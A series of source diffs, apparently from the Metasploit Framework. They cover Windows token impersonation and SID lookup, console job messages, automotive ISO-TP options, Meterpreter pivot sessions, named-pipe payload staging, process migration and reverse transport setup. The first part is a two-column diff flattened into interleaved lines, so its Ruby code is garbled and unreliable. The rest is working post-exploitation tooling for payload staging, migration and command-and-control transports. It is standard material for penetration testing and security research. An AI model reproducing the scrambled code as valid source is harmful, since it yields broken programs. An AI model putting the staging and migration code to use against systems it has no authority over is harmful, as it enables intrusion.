psid, unless lookup['return']
lp_name, error = lookup['GetLastError']
cch_name,
lp_referenced_domain_name,
cch_referenced_domain_name,
1)
elsif !lookup['return']
print_error "Unexpected windows error #{lookup['GetLastError']}"
return nil
end
ensure
# We no longer need the sid so free it.
adv.FreeSid(psid)
end
# If the call failed, handle errors accordingly. case error
unless lookup['return'] when client.railgun.const('ERROR_INVALID_PARAMETER')
error = lookup['GetLastError'] # Unless the railgun call is broken, this means revision is wrong
return { type: :invalid }
when client.railgun.const('ERROR_NONE_MAPPED')
# There were no accounts associated with this SID
return { mapped: false }
else
print_error "Unexpected Windows error #{error} resolving SID #{sid}"
return nil
end
end
case error # peUse is the enum "SID_NAME_USE"
when client.railgun.const('ERROR_INVALID_PARAMETER') sid_type = lookup_SID_NAME_USE(lookup['peUse'].unpack('C')[0])
# Unless the railgun call is broken, this means revision is wrong
return { :type => :invalid }
when client.railgun.const('ERROR_NONE_MAPPED')
# There were no accounts associated with this SID
return { :mapped => false }
else
print_error "Unexpected windows error #{error}"
return nil
end
end
# peUse is the enum "SID_NAME_USE" return {
sid_type = lookup_SID_NAME_USE(lookup['peUse'].unpack('C')[0]) name: lookup['Name'],
domain: lookup['ReferencedDomainName'],
type: sid_type,
mapped: true
}
end
return { private
:name => lookup['Name'],
:domain => lookup['ReferencedDomainName'],
:type => sid_type,
:mapped => true
}
end
private ##
# Converts a WinAPI's SID_NAME_USE enum to a symbol
# Symbols are (in order) :user, :group, :domain, :alias, :well_known_group,
# :deleted_account, :invalid, :unknown, :computer
##
def lookup_SID_NAME_USE(enum_value)
[
# SidTypeUser = 1
:user,
# SidTypeGroup,
:group,
# SidTypeDomain,
:domain,
# SidTypeAlias,
:alias,
# SidTypeWellKnownGroup,
:well_known_group,
# SidTypeDeletedAccount,
:deleted_account,
# SidTypeInvalid,
:invalid,
# SidTypeUnknown,
:unknown,
# SidTypeComputer,
:computer,
# SidTypeLabel
:integrity_label
][enum_value - 1]
end
## # Gets an impersonation token from the primary token.
# Converts a WinAPI's SID_NAME_USE enum to a symbol #
# Symbols are (in order) :user, :group, :domain, :alias, :well_known_group, # @return [Integer] the impersonate token handle identifier if success, nil if
# :deleted_account, :invalid, :unknown, :computer # fails
## def get_imperstoken
def lookup_SID_NAME_USE(enum_value) adv = session.railgun.advapi32
[ tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
# SidTypeUser = 1 tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
:user, tok_all << " | TOKEN_ADJUST_DEFAULT"
# SidTypeGroup,
:group,
#SidTypeDomain,
:domain,
#SidTypeAlias,
:alias,
#SidTypeWellKnownGroup,
:well_known_group,
#SidTypeDeletedAccount,
:deleted_account,
#SidTypeInvalid,
:invalid,
#SidTypeUnknown,
:unknown,
#SidTypeComputer,
:computer,
#SidTypeLabel
:integrity_label
][enum_value - 1]
end
# Gets an impersonation token from the primary token. pid = session.sys.process.open.pid
# pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
# @return [Integer] the impersonate token handle identifier if success, nil if pt = adv.OpenProcessToken(pr.handle, tok_all, 4) # get handle to primary token
# fails it = adv.DuplicateToken(pt["TokenHandle"], 2, 4) # get an impersonation token
def get_imperstoken if it["return"] # if it fails return 0 for error handling
adv = session.railgun.advapi32 return it["DuplicateTokenHandle"]
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | " else
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS" return nil
tok_all << " | TOKEN_ADJUST_DEFAULT" end
end
pid = session.sys.process.open.pid # Gets the permissions granted from the Security Descriptor of a directory
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS) # to an access token.
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token #
it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token # @param [String] dir the directory path
if it["return"] #if it fails return 0 for error handling # @param [Integer] token the access token
return it["DuplicateTokenHandle"] # @return [String, nil] a String describing the permissions or nil
else def check_dir_perms(dir, token)
return nil adv = session.railgun.advapi32
end si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
end result = ""
# Gets the permissions granted from the Security Descriptor of a directory # define generic mapping structure
# to an access token. gen_map = [0, 0, 0, 0]
# gen_map = gen_map.pack("V")
# @param [String] dir the directory path buffer_size = 500
# @param [Integer] token the access token
# @return [String, nil] a String describing the permissions or nil
def check_dir_perms(dir, token)
adv = session.railgun.advapi32
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
result = ""
#define generic mapping structure # get Security Descriptor for the directory
gen_map = [0,0,0,0] f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4)
gen_map = gen_map.pack("V") if f['return'] && f["lpnLengthNeeded"] <= buffer_size
buffer_size = 500 sd = f["pSecurityDescriptor"]
elsif f['GetLastError'] == 122 # ERROR_INSUFFICIENT_BUFFER
sd = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
elsif f['GetLastError'] == 2
vprint_error("The system cannot find the file specified: #{dir}")
return nil
else
vprint_error("#{f['ErrorMessage']}: #{dir}")
return nil
end
#get Security Descriptor for the directory # check for write access, called once to get buffer size
f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4) a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
if (f['return'] and f["lpnLengthNeeded"] <= buffer_size) len = a["PrivilegeSetLength"]
sd = f["pSecurityDescriptor"]
elsif (f['GetLastError'] == 122) # ERROR_INSUFFICIENT_BUFFER
f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
elsif (f['GetLastError'] == 2)
vprint_error("The system cannot find the file specified: #{dir}")
return nil
else
vprint_error("#{f['ErrorMessage']}: #{dir}")
return nil
end
#check for write access, called once to get buffer size r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8) return nil if !r["return"]
len = a["PrivilegeSetLength"] result << "R" if r["GrantedAccess"] > 0
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8) w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
if !r["return"] then return nil end return nil if !w["return"]
if r["GrantedAccess"] > 0 then result << "R" end result << "W" if w["GrantedAccess"] > 0
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8) result
if !w["return"] then return nil end end
if w["GrantedAccess"] > 0 then result << "W" end end # Accounts
end # Windows
result end # Post
end
end # Accounts
end # Windows
end # Post
end # Msf end # Msf

View File

@ -96,7 +96,7 @@ class Auxiliary
} }
# Always run passive modules in the background # Always run passive modules in the background
if (mod.passive or mod.passive_action?(action)) if (mod.passive || mod.passive_action?(action || mod.default_action))
jobify = true jobify = true
end end
@ -131,8 +131,8 @@ class Auxiliary
return false return false
end end
if (jobify) if (jobify && mod.job_id)
print_status("Auxiliary module running as background job") print_status("Auxiliary module running as background job #{mod.job_id}.")
else else
print_status("Auxiliary module execution completed") print_status("Auxiliary module execution completed")
end end

View File

@ -1528,6 +1528,10 @@ class Db
} }
end end
def find_nmap_path
Rex::FileUtils.find_full_path("nmap") || Rex::FileUtils.find_full_path("nmap.exe")
end
# #
# Import Nmap data from a file # Import Nmap data from a file
# #
@ -1553,11 +1557,8 @@ class Db
end end
end end
nmap = nmap = find_nmap_path
Rex::FileUtils.find_full_path("nmap") || unless nmap
Rex::FileUtils.find_full_path("nmap.exe")
if (not nmap)
print_error("The nmap executable could not be found") print_error("The nmap executable could not be found")
return return
end end
@ -1607,9 +1608,11 @@ class Db
end end
def cmd_db_nmap_help def cmd_db_nmap_help
nmap = nmap = find_nmap_path
Rex::FileUtils.find_full_path('nmap') || unless nmap
Rex::FileUtils.find_full_path('nmap.exe') print_error("The nmap executable could not be found")
return
end
stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help') stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help')
@ -1625,9 +1628,10 @@ class Db
end end
def cmd_db_nmap_tabs(str, words) def cmd_db_nmap_tabs(str, words)
nmap = nmap = find_nmap_path
Rex::FileUtils.find_full_path('nmap') || unless nmap
Rex::FileUtils.find_full_path('nmap.exe') return
end
stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help') stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help')
tabs = [] tabs = []

View File

@ -145,10 +145,8 @@ class Exploit
end end
# If we ran the exploit as a job, indicate such so the user doesn't # If we ran the exploit as a job, indicate such so the user doesn't
# wonder what's up. # wonder what's up.
elsif (jobify) elsif (jobify && mod.job_id)
if mod.job_id print_status("Exploit running as background job #{mod.job_id}.")
print_status("Exploit running as background job.")
end
# Worst case, the exploit ran but we got no session, bummer. # Worst case, the exploit ran but we got no session, bummer.
else else
# If we didn't run a payload handler for this exploit it doesn't # If we didn't run a payload handler for this exploit it doesn't

View File

@ -339,7 +339,7 @@ module Msf
framework.jobs[job_id.to_s].send(:name=, job_name) framework.jobs[job_id.to_s].send(:name=, job_name)
end end
print_status "Payload Handler Started as Job #{job_id}" print_status "Payload handler running as background job #{job_id}."
end end
end end
end end

View File

@ -66,23 +66,26 @@ module Msf
end end
def cmd_edit_help def cmd_edit_help
msg = "Edit the currently active module" print_line "Usage: edit [file/to/edit.rb]"
msg = "#{msg} #{local_editor ? "with #{local_editor}" : "(LocalEditor or $VISUAL/$EDITOR should be set first)"}."
print_line "Usage: edit"
print_line print_line
print_line msg print_line "Edit a local file or the currently active module with #{local_editor}"
print_line "When done editing, you must reload the module with 'reload' or 'rerun'." print_line "If a file path is specified it will automatically be reloaded after editing"
print_line "Otherwise, you can reload the active module with 'reload' or 'rerun'."
print_line print_line
end end
# #
# Edit the currently active module # Edit the currently active module
# #
def cmd_edit def cmd_edit(*args)
if active_module if args.length > 0
editor = local_editor path = args[0]
path = active_module.file_path elsif active_module
path = active_module.file_path
end
if path
editor = local_editor
if editor.nil? if editor.nil?
editor = 'vim' editor = 'vim'
print_warning("LocalEditor or $VISUAL/$EDITOR should be set. Falling back on #{editor}.") print_warning("LocalEditor or $VISUAL/$EDITOR should be set. Falling back on #{editor}.")
@ -90,6 +93,10 @@ module Msf
print_status("Launching #{editor} #{path}") print_status("Launching #{editor} #{path}")
system(editor, path) system(editor, path)
if args.length > 0
load args[0]
end
else else
print_error('Nothing to edit -- try using a module first.') print_error('Nothing to edit -- try using a module first.')
end end

View File

@ -131,8 +131,8 @@ class Post
return false return false
end end
if (jobify) if (jobify && mod.job_id)
print_status("Post module running as background job") print_status("Post module running as background job #{mod.job_id}.")
else else
print_status("Post module execution completed") print_status("Post module execution completed")
end end

View File

@ -165,6 +165,14 @@ require 'msf/core/exe/segment_appender'
# XXX: Add remaining ARMLE systems here # XXX: Add remaining ARMLE systems here
end end
if arch.index(ARCH_AARCH64)
if plat.index(Msf::Module::Platform::Linux)
return to_linux_aarch64_elf(framework, code)
end
# XXX: Add remaining AARCH64 systems here
end
if arch.index(ARCH_PPC) if arch.index(ARCH_PPC)
if plat.index(Msf::Module::Platform::OSX) if plat.index(Msf::Module::Platform::OSX)
return to_osx_ppc_macho(framework, code) return to_osx_ppc_macho(framework, code)

View File

@ -125,8 +125,6 @@ module Parser
if @args[:blacklist] if @args[:blacklist]
return false if @args[:blacklist].include?(@report_data[:host]) return false if @args[:blacklist].include?(@report_data[:host])
end end
return false unless @report_data[:ports]
return false if @report_data[:ports].empty?
return true return true
end end

View File

@ -53,7 +53,7 @@ private
# if no session guid is given then we'll just pass the blank # if no session guid is given then we'll just pass the blank
# guid through. this is important for stageless payloads # guid through. this is important for stageless payloads
if opts[:stageless] == true if opts[:stageless] == true || opts[:null_session_guid] == true
session_guid = "\x00" * 16 session_guid = "\x00" * 16
else else
session_guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*') session_guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
@ -67,7 +67,7 @@ private
session_guid # the Session GUID session_guid # the Session GUID
] ]
session_data.pack('VVVA*A*') session_data.pack('QVVA*A*')
end end
def transport_block(opts) def transport_block(opts)
@ -78,7 +78,8 @@ private
lhost = "[#{lhost}]" lhost = "[#{lhost}]"
end end
url = "#{opts[:scheme]}://#{lhost}:#{opts[:lport]}" url = "#{opts[:scheme]}://#{lhost}"
url << ":#{opts[:lport]}" if opts[:lport]
url << "#{opts[:uri]}/" if opts[:uri] url << "#{opts[:uri]}/" if opts[:uri]
url << "?#{opts[:scope_id]}" if opts[:scope_id] url << "?#{opts[:scope_id]}" if opts[:scope_id]

View File

@ -119,11 +119,16 @@ class Automotive < Extension
# TODO: Implement sending ISO-TP > 8 bytes # TODO: Implement sending ISO-TP > 8 bytes
data = [ data ] if data.is_a? Integer data = [ data ] if data.is_a? Integer
if data.size < 8 if data.size < 8
data = padd_packet(data, opt['PADDING']) if opt.key? 'PADDING' # Padding is handled differently after 0.0.3
if Gem::Version.new(client.api_version) < Gem::Version.new('0.0.4')
data = padd_packet(data, opt['PADDING']) if opt.key? 'PADDING'
end
data = array2hex(data).join data = array2hex(data).join
request_str = "/automotive/#{bus}/isotpsend_and_wait?srcid=#{src_id}&dstid=#{dst_id}&data=#{data}" request_str = "/automotive/#{bus}/isotpsend_and_wait?srcid=#{src_id}&dstid=#{dst_id}&data=#{data}"
request_str += "&timeout=#{opt['TIMEOUT']}" if opt.key? "TIMEOUT" request_str += "&timeout=#{opt['TIMEOUT']}" if opt.key? "TIMEOUT"
request_str += "&maxpkts=#{opt['MAXPKTS']}" if opt.key? "MAXPKTS" request_str += "&maxpkts=#{opt['MAXPKTS']}" if opt.key? "MAXPKTS"
request_str += "&padding=#{opt['PADDING']}" if opt.key? "PADDING" # Won't hurt to use in older versions
request_str += "&fc=#{opt['FC']}" if opt.key? "FC" # Force flow control
return check_for_errors(client.send_request(request_str)) return check_for_errors(client.send_request(request_str))
end end
nil nil

View File

@ -174,6 +174,8 @@ class Console::CommandDispatcher::Automotive
data = '' data = ''
timeout = nil timeout = nil
maxpackets = nil maxpackets = nil
flowcontrol = false
padding = nil
cansend_opts = Rex::Parser::Arguments.new( cansend_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ], '-h' => [ false, 'Help Banner' ],
'-b' => [ true, 'Target bus'], '-b' => [ true, 'Target bus'],
@ -181,6 +183,8 @@ class Console::CommandDispatcher::Automotive
'-R' => [ true, 'Return ID'], '-R' => [ true, 'Return ID'],
'-D' => [ true, 'Data packet in Hex (Do not include ISOTP command size)'], '-D' => [ true, 'Data packet in Hex (Do not include ISOTP command size)'],
'-t' => [ true, 'Timeout value'], '-t' => [ true, 'Timeout value'],
'-p' => [ true, 'Padding value, none if not specified'],
'-C' => [ false, 'Force flow control'],
'-m' => [ true, 'Max packets to receive'] '-m' => [ true, 'Max packets to receive']
) )
cansend_opts.parse(args) do |opt, _idx, val| cansend_opts.parse(args) do |opt, _idx, val|
@ -199,6 +203,10 @@ class Console::CommandDispatcher::Automotive
data = val data = val
when '-t' when '-t'
timeout = val.to_i timeout = val.to_i
when '-p'
padding = val
when '-C'
flowcontrol = true
when '-m' when '-m'
maxpackets = val.to_i maxpackets = val.to_i
end end
@ -224,6 +232,8 @@ class Console::CommandDispatcher::Automotive
opt = {} opt = {}
opt['TIMEOUT'] = timeout unless timeout.nil? opt['TIMEOUT'] = timeout unless timeout.nil?
opt['MAXPKTS'] = maxpackets unless maxpackets.nil? opt['MAXPKTS'] = maxpackets unless maxpackets.nil?
opt['PADDING'] = padding unless padding.nil?
opt['FC'] = true unless flowcontrol == false
result = client.automotive.send_isotp_and_wait_for_response(bus, id, ret, bytes, opt) result = client.automotive.send_isotp_and_wait_for_response(bus, id, ret, bytes, opt)
if result.key? 'Packets' if result.key? 'Packets'
result['Packets'].each do |pkt| result['Packets'].each do |pkt|

View File

@ -12,6 +12,8 @@ require 'rex/post/meterpreter/object_aliases'
require 'rex/post/meterpreter/packet' require 'rex/post/meterpreter/packet'
require 'rex/post/meterpreter/packet_parser' require 'rex/post/meterpreter/packet_parser'
require 'rex/post/meterpreter/packet_dispatcher' require 'rex/post/meterpreter/packet_dispatcher'
require 'rex/post/meterpreter/pivot'
require 'rex/post/meterpreter/pivot_container'
module Rex module Rex
module Post module Post
@ -35,6 +37,7 @@ class Client
include Rex::Post::Meterpreter::PacketDispatcher include Rex::Post::Meterpreter::PacketDispatcher
include Rex::Post::Meterpreter::ChannelContainer include Rex::Post::Meterpreter::ChannelContainer
include Rex::Post::Meterpreter::PivotContainer
# #
# Extension name to class hash. # Extension name to class hash.
@ -85,7 +88,17 @@ class Client
# Cleans up the meterpreter instance, terminating the dispatcher thread. # Cleans up the meterpreter instance, terminating the dispatcher thread.
# #
def cleanup_meterpreter def cleanup_meterpreter
if not self.skip_cleanup if self.pivot_session
self.pivot_session.remove_pivot_session(self.session_guid)
end
self.pivot_sessions.keys.each do |k|
pivot = self.pivot_sessions[k]
pivot.pivoted_session.kill('Pivot closed')
pivot.pivoted_session.shutdown_passive_dispatcher
end
unless self.skip_cleanup
ext.aliases.each_value do | extension | ext.aliases.each_value do | extension |
extension.cleanup if extension.respond_to?( 'cleanup' ) extension.cleanup if extension.respond_to?( 'cleanup' )
end end
@ -93,7 +106,7 @@ class Client
dispatcher_thread.kill if dispatcher_thread dispatcher_thread.kill if dispatcher_thread
if not self.skip_cleanup unless self.skip_cleanup
core.shutdown rescue nil core.shutdown rescue nil
end end
@ -117,11 +130,20 @@ class Client
self.conn_id = opts[:conn_id] self.conn_id = opts[:conn_id]
self.url = opts[:url] self.url = opts[:url]
self.ssl = opts[:ssl] self.ssl = opts[:ssl]
self.expiration = opts[:expiration]
self.comm_timeout = opts[:comm_timeout] self.pivot_session = opts[:pivot_session]
self.retry_total = opts[:retry_total] if self.pivot_session
self.retry_wait = opts[:retry_wait] self.expiration = self.pivot_session.expiration
self.passive_dispatcher = opts[:passive_dispatcher] self.comm_timeout = self.pivot_session.comm_timeout
self.retry_total = self.pivot_session.retry_total
self.retry_wait = self.pivot_session.retry_wait
else
self.expiration = opts[:expiration]
self.comm_timeout = opts[:comm_timeout]
self.retry_total = opts[:retry_total]
self.retry_wait = opts[:retry_wait]
self.passive_dispatcher = opts[:passive_dispatcher]
end
self.response_timeout = opts[:timeout] || self.class.default_timeout self.response_timeout = opts[:timeout] || self.class.default_timeout
self.send_keepalives = true self.send_keepalives = true
@ -131,7 +153,7 @@ class Client
self.encode_unicode = false self.encode_unicode = false
self.aes_key = nil self.aes_key = nil
self.session_guid = '00000000-0000-0000-0000-000000000000' self.session_guid = opts[:session_guid] || "\x00" * 16
# The SSL certificate is being passed down as a file path # The SSL certificate is being passed down as a file path
if opts[:ssl_cert] if opts[:ssl_cert]
@ -143,32 +165,19 @@ class Client
end end
end end
if opts[:passive_dispatcher] initialize_passive_dispatcher if opts[:passive_dispatcher]
initialize_passive_dispatcher
register_extension_alias('core', ClientCore.new(self)) register_extension_alias('core', ClientCore.new(self))
initialize_inbound_handlers initialize_inbound_handlers
initialize_channels initialize_channels
initialize_pivots
# Register the channel inbound packet handler # Register the channel and pivot inbound packet handlers
register_inbound_handler(Rex::Post::Meterpreter::Channel) register_inbound_handler(Rex::Post::Meterpreter::Channel)
else register_inbound_handler(Rex::Post::Meterpreter::Pivot)
# Switch the socket to SSL mode and receive the hello if needed
if capabilities[:ssl] and not opts[:skip_ssl]
swap_sock_plain_to_ssl()
end
register_extension_alias('core', ClientCore.new(self)) monitor_socket
initialize_inbound_handlers
initialize_channels
# Register the channel inbound packet handler
register_inbound_handler(Rex::Post::Meterpreter::Channel)
monitor_socket
end
end end
def swap_sock_plain_to_ssl def swap_sock_plain_to_ssl
@ -478,6 +487,10 @@ class Client
# #
attr_accessor :passive_dispatcher attr_accessor :passive_dispatcher
# #
# Reference to a session to pivot through
#
attr_accessor :pivot_session
#
# Flag indicating whether to hex-encode UTF-8 file names and other strings # Flag indicating whether to hex-encode UTF-8 file names and other strings
# #
attr_accessor :encode_unicode attr_accessor :encode_unicode

View File

@ -3,6 +3,7 @@
require 'rex/post/meterpreter/packet' require 'rex/post/meterpreter/packet'
require 'rex/post/meterpreter/extension' require 'rex/post/meterpreter/extension'
require 'rex/post/meterpreter/client' require 'rex/post/meterpreter/client'
require 'msf/core/payload/transport_config'
# Used to generate a reflective DLL when migrating. This is yet another # Used to generate a reflective DLL when migrating. This is yet another
# argument for moving the meterpreter client into the Msf namespace. # argument for moving the meterpreter client into the Msf namespace.
@ -33,24 +34,12 @@ module Meterpreter
### ###
class ClientCore < Extension class ClientCore < Extension
UNIX_PATH_MAX = 108 VALID_TRANSPORTS = [
DEFAULT_SOCK_PATH = "/tmp/meterpreter.sock" 'reverse_tcp',
'reverse_http',
METERPRETER_TRANSPORT_SSL = 0 'reverse_https',
METERPRETER_TRANSPORT_HTTP = 1 'bind_tcp'
METERPRETER_TRANSPORT_HTTPS = 2 ]
TIMEOUT_SESSION = 24*3600*7 # 1 week
TIMEOUT_COMMS = 300 # 5 minutes
TIMEOUT_RETRY_TOTAL = 60*60 # 1 hour
TIMEOUT_RETRY_WAIT = 10 # 10 seconds
VALID_TRANSPORTS = {
'reverse_tcp' => METERPRETER_TRANSPORT_SSL,
'reverse_http' => METERPRETER_TRANSPORT_HTTP,
'reverse_https' => METERPRETER_TRANSPORT_HTTPS,
'bind_tcp' => METERPRETER_TRANSPORT_SSL
}
include Rex::Payloads::Meterpreter::UriChecksum include Rex::Payloads::Meterpreter::UriChecksum
@ -67,6 +56,44 @@ class ClientCore < Extension
# #
## ##
#
# create a named pipe pivot
#
def create_named_pipe_pivot(opts)
request = Packet.create_request('core_pivot_add')
request.add_tlv(TLV_TYPE_PIVOT_NAMED_PIPE_NAME, opts[:pipe_name])
c = Class.new(::Msf::Payload)
c.include(::Msf::Payload::Stager)
c.include(::Msf::Payload::TransportConfig)
# Include the appropriate reflective dll injection module for the target process architecture...
if opts[:arch] == ARCH_X86
c.include(::Msf::Payload::Windows::MeterpreterLoader)
elsif opts[:arch] == ARCH_X64
c.include(::Msf::Payload::Windows::MeterpreterLoader_x64)
end
stage_opts = {
force_write_handle: true,
datastore: {
'PIPEHOST' => opts[:pipe_host],
'PIPENAME' => opts[:pipe_name]
}
}
stager = c.new()
stage_opts[:transport_config] = [stager.transport_config_reverse_named_pipe(stage_opts)]
stage = stager.stage_payload(stage_opts)
request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA, stage)
request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA_SIZE, stage.length)
response = self.client.send_request(request)
end
# #
# Get a list of loaded commands for the given extension. # Get a list of loaded commands for the given extension.
# #
@ -320,7 +347,7 @@ class ClientCore < Extension
# #
def set_session_guid(guid) def set_session_guid(guid)
request = Packet.create_request('core_set_session_guid') request = Packet.create_request('core_set_session_guid')
request.add_tlv(TLV_TYPE_SESSION_GUID, [guid.gsub(/-/, '')].pack('H*')) request.add_tlv(TLV_TYPE_SESSION_GUID, guid)
client.send_request(request) client.send_request(request)
@ -338,10 +365,7 @@ class ClientCore < Extension
response = client.send_request(*args) response = client.send_request(*args)
bytes = response.get_tlv_value(TLV_TYPE_SESSION_GUID) response.get_tlv_value(TLV_TYPE_SESSION_GUID)
parts = bytes.unpack('H*')[0]
[parts[0, 8], parts[8, 4], parts[12, 4], parts[16, 4], parts[20, 12]].join('-')
end end
# #
@ -541,51 +565,17 @@ class ClientCore < Extension
raise RuntimeError, 'Cannot migrate into current process', caller raise RuntimeError, 'Cannot migrate into current process', caller
end end
if client.platform == 'linux'
if writable_dir.to_s.strip.empty?
writable_dir = tmp_folder
end
stat_dir = client.fs.filestat.new(writable_dir)
unless stat_dir.directory?
raise RuntimeError, "Directory #{writable_dir} not found", caller
end
# Rex::Post::FileStat#writable? isn't available
end
migrate_stub = generate_migrate_stub(target_process) migrate_stub = generate_migrate_stub(target_process)
migrate_payload = generate_migrate_payload(target_process) migrate_payload = generate_migrate_payload(target_process)
# Build the migration request # Build the migration request
request = Packet.create_request('core_migrate') request = Packet.create_request('core_migrate')
if client.platform == 'linux' request.add_tlv(TLV_TYPE_MIGRATE_PID, target_pid)
socket_path = File.join(writable_dir, Rex::Text.rand_text_alpha_lower(5 + rand(5))) request.add_tlv(TLV_TYPE_MIGRATE_PAYLOAD_LEN, migrate_payload.length)
request.add_tlv(TLV_TYPE_MIGRATE_PAYLOAD, migrate_payload, false, client.capabilities[:zlib])
if socket_path.length > UNIX_PATH_MAX - 1 request.add_tlv(TLV_TYPE_MIGRATE_STUB_LEN, migrate_stub.length)
raise RuntimeError, 'The writable dir is too long', caller request.add_tlv(TLV_TYPE_MIGRATE_STUB, migrate_stub, false, client.capabilities[:zlib])
end
pos = migrate_payload.index(DEFAULT_SOCK_PATH)
if pos.nil?
raise RuntimeError, 'The meterpreter binary is wrong', caller
end
migrate_payload[pos, socket_path.length + 1] = socket_path + "\x00"
ep = elf_ep(migrate_payload)
request.add_tlv(TLV_TYPE_MIGRATE_BASE_ADDR, 0x20040000)
request.add_tlv(TLV_TYPE_MIGRATE_ENTRY_POINT, ep)
request.add_tlv(TLV_TYPE_MIGRATE_SOCKET_PATH, socket_path, false, client.capabilities[:zlib])
end
request.add_tlv( TLV_TYPE_MIGRATE_PID, target_pid )
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD_LEN, migrate_payload.length )
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, migrate_payload, false, client.capabilities[:zlib])
request.add_tlv( TLV_TYPE_MIGRATE_STUB_LEN, migrate_stub.length )
request.add_tlv( TLV_TYPE_MIGRATE_STUB, migrate_stub, false, client.capabilities[:zlib])
if target_process['arch'] == ARCH_X64 if target_process['arch'] == ARCH_X64
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64 request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
@ -614,7 +604,7 @@ class ClientCore < Extension
# Sleep for 5 seconds to allow the full handoff, this prevents # Sleep for 5 seconds to allow the full handoff, this prevents
# the original process from stealing our loadlib requests # the original process from stealing our loadlib requests
::IO.select(nil, nil, nil, 5.0) ::IO.select(nil, nil, nil, 5.0)
else elsif client.pivot_session.nil?
# Prevent new commands from being sent while we finish migrating # Prevent new commands from being sent while we finish migrating
client.comm_mutex.synchronize do client.comm_mutex.synchronize do
# Disable the socket request monitor # Disable the socket request monitor
@ -686,11 +676,8 @@ class ClientCore < Extension
# Indicates if the given transport is a valid transport option. # Indicates if the given transport is a valid transport option.
# #
def valid_transport?(transport) def valid_transport?(transport)
if transport return false if transport.nil?
VALID_TRANSPORTS.has_key?(transport.downcase) VALID_TRANSPORTS.include?(transport.downcase)
else
false
end
end end
# #
@ -751,6 +738,8 @@ private
case t[:url] case t[:url]
when /^tcp/i when /^tcp/i
c.include(::Msf::Payload::Windows::MigrateTcp) c.include(::Msf::Payload::Windows::MigrateTcp)
when /^pipe/i
c.include(::Msf::Payload::Windows::MigrateNamedPipe)
when /^http/i when /^http/i
# Covers HTTP and HTTPS # Covers HTTP and HTTPS
c.include(::Msf::Payload::Windows::MigrateHttp) c.include(::Msf::Payload::Windows::MigrateHttp)
@ -760,6 +749,8 @@ private
case t[:url] case t[:url]
when /^tcp/i when /^tcp/i
c.include(::Msf::Payload::Windows::MigrateTcp_x64) c.include(::Msf::Payload::Windows::MigrateTcp_x64)
when /^pipe/i
c.include(::Msf::Payload::Windows::MigrateNamedPipe_x64)
when /^http/i when /^http/i
# Covers HTTP and HTTPS # Covers HTTP and HTTPS
c.include(::Msf::Payload::Windows::MigrateHttp_x64) c.include(::Msf::Payload::Windows::MigrateHttp_x64)
@ -790,11 +781,11 @@ private
opts[:lhost] = nil opts[:lhost] = nil
end end
transport = VALID_TRANSPORTS[opts[:transport]] transport = opts[:transport].downcase
request = Packet.create_request(method) request = Packet.create_request(method)
scheme = opts[:transport].split('_')[1] scheme = transport.split('_')[1]
url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}" url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}"
if opts[:luri] && opts[:luri].length > 0 if opts[:luri] && opts[:luri].length > 0
@ -824,7 +815,7 @@ private
end end
# do more magic work for http(s) payloads # do more magic work for http(s) payloads
unless opts[:transport].ends_with?('tcp') unless transport.ends_with?('tcp')
if opts[:uri] if opts[:uri]
url << '/' unless opts[:uri].start_with?('/') url << '/' unless opts[:uri].start_with?('/')
url << opts[:uri] url << opts[:uri]
@ -838,7 +829,7 @@ private
opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)' opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'
request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua]) request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua])
if transport == METERPRETER_TRANSPORT_HTTPS && opts[:cert] if transport == 'reverse_https' && opts[:cert]
hash = Rex::Socket::X509Certificate.get_cert_file_hash(opts[:cert]) hash = Rex::Socket::X509Certificate.get_cert_file_hash(opts[:cert])
request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash) request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)
end end
